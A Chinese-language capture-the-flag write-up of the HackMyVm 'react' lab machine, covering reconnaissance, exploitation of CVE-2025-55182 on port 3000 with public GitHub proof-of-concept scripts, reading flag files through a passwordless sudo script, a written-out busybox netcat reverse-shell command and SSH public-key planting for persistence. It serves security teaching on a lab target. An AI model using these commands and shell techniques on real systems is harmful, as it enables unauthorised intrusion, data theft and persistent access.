文章总结: 文档记录了HackMyVm靶场React的渗透过程,利用3000端口的CVE-2025-55182漏洞通过GitHubPOC获取bot用户权限。随后利用sudo无密码执行的scanner.py脚本读取root.txt完成提权,并演示了反弹shell与SSH公钥注入的方法,步骤完整且具有实操性。
综合评分: 80
文章分类: 渗透测试,实战经验,WEB安全,漏洞POC
HackMyVm靶场之react
原创
MS02423
MS02423
2026年1月7日 10:53
天津
这个靶场存在的漏洞是CVE-2025-55182,我们利用这个漏洞就可以获取到bot用户,而且提权不需要我们去写脚本或者是编译什么的,我们一条命令就可以解决的,直接读取root.txt文件的,这个靶场的读取root.txt部分和hunter靶场很像,hunter靶场读取root的命令是如下,具体方法可以参考我的hunter文章。
sudo rkhunter --configfile /root/root.txt --config-check
我们可以看到这个漏洞大约是一个月前(也可以说是去年
)爆出来的,漏洞点就在3000端口上面。
我们一起看看这个靶场
1.探测IP
nmap -sP 192.168.137.0/24
靶场IP是192.168.137.90
2.扫描IP
1)扫描端口
nmap -p- -sV 192.168.137.90
我们可以看到开放了22 80 3000端口,那么我们的思路就是在80和3000端口发现信息或者是利用点,然后在22端口进行登录。
2)扫描服务
gobuster dir -u http://192.168.137.90 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip
就扫描到一个info.php文件,其实是phpinfo文件,但是对于我们来说没有什么用的。
http://192.168.137.90/info.php
3.访问IP
http://192.168.137.90/
当我看到输入框的时候,我以为会存在命令执行漏洞,我抓包放在bp里面修改命令什么的(过滤命令),结果什么都没有。
127.0.0.1;id
4.渗透测试
寻找漏洞
目前为止,我们在80端口没有发现任何信息,所以我们需要转移到另一个端口上面3000端口
http://192.168.137.90:3000/
说实话当我看到这个页面的时候,我没有任何的思路,因为我不知道这个页面有什么漏洞,到这里我就没有思路了,我们信息收集没有收集到任何有用的信息,这时候我把目光放在了题目上面,有时候信息也会在题目或者是题目下面的提示里面,题目是react,然后我就在想会不会是react相关的漏洞,我就在google里面搜索,结果真搜索到了
(所以说信息收集我们不能只在靶机里面,有时候也会在靶场外面哈哈
),如果你知道这个漏洞的话,就当我什么都没有说
,你可以直接在3000端口上面看出来就是CVE-2025-55182
利用漏洞
既然我们已经知道漏洞编号了,那么我们就去github上面搜索漏洞即可
我们可以看到有好多的poc让我们使用。
我使用的poc一共是2个,一个是检测漏洞是否存在的poc,一个是利用漏洞的poc
检测漏洞的poc
https://github.com/Ashwesker/Ashwesker-CVE-2025-55182
我们下载到本机里面,然后使用nuclei工具检测是否存在漏洞,我们使用CVE-2025-55182.yaml 进行检测
sudo nuclei -t CVE-2025-55182.yaml -u http://192.168.137.90:3000
我们可以看到存在漏洞的,我们也可以使用这个脚本的,但是我们可以看到命令是执行了,但是结果没有输出,所以我就换了一个脚本
利用漏洞的poc
https://github.com/zack0x01/CVE-2025-55182-advanced-scanner-
这个脚本比上面的脚本更直观
记得给scanner.sh添加执行权限,不然的话执行不成功的
./scanner.sh -d "http://192.168.137.90:3000" 查看id
我们可以看到是执行成功的,id是bot,证明存在命令执行漏洞的。
命令执行漏洞
既然我们知道存在命令执行漏洞,那么我们可以在直接使用命令读取里面的文件,或者是反弹shell再去读取文件
1)直接读取文件
./scanner.sh -d "http://192.168.137.90:3000" -c "ls -la /"
我们可以看到存在/home目录,我们进行查看
./scanner.sh -d "http://192.168.137.90:3000" -c "ls -la /home"
存在bot用户,我们进去看看
./scanner.sh -d "http://192.168.137.90:3000" -c "ls -la /home/bot"
读取user.txt
可以看到user.txt文件,我们进行读取
./scanner.sh -d "http://192.168.137.90:3000" -c "cat /home/bot/user.txt"
我们获取到user的flag,接下来就是提权,我们sudo -l
读取root.txt
./scanner.sh -d "http://192.168.137.90:3000" -c "sudo -l"
我们可以看到可以使用scanner.py脚本的,不需要密码的,我们看看脚本怎么去使用的
./scanner.sh -d "http://192.168.137.90:3000" -c "sudo /opt/react2shell/scanner.py -h"
我们可以看到可以读取文件,输出文件的,那我们直接去读取root.txt文件即可
./scanner.sh -d "http://192.168.137.90:3000" -c "sudo /opt/react2shell/scanner.py -l /root/root.txt"
我们直接去读取root.txt文件即可
这是一种方法,我们也可以直接进行反弹shell
既然我们可以执行命令,那么我们去反弹shell,记住这里我们只能反弹一次shell,第二次是反弹不成功的(重启靶机可以再次反弹),反弹shell之后,之前的命令我们都使用不了了,我们可以看看
2)反弹shell
./scanner.sh -d "http://192.168.137.90:3000" -c "busybox nc 192.168.137.102 1234 -e /bin/bash"
我们可以看到反弹成功了,当你反弹成功之后就会出现上面的情况(我们使用不了上面的脚本了)所以为了使我们的shell更加的稳定
我们可以试试能不能在bot用户里面新建.ssh目录,然后上传公钥,我们使用22端口去登录(不然的话,22端口开放就没有意思了)
我们可以看到新建成功,那么我们上传公钥
我们可以看到上传成功的,我们登录试试看
我们可以看到登录成功的,剩下的步骤和第一种方法是一样的。其实到这里这个靶场算是完成了
至此,这个靶场渗透测试成功
总体来说,这个靶场不是很难,只能你能发现是CVE-2025-55182漏洞即可,然后我们在github上面寻找相应的poc即可,获取到bot用户权限后。我们可以发现能够使用root权限去运行scanner.py脚本(不需要密码的),所以我们去查看脚本怎么使用即可,读取文件,输出文件,保存文件等等。这个靶场可以说是不涉及提权的。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:MS02423 MS02423《HackMyVm靶场之react》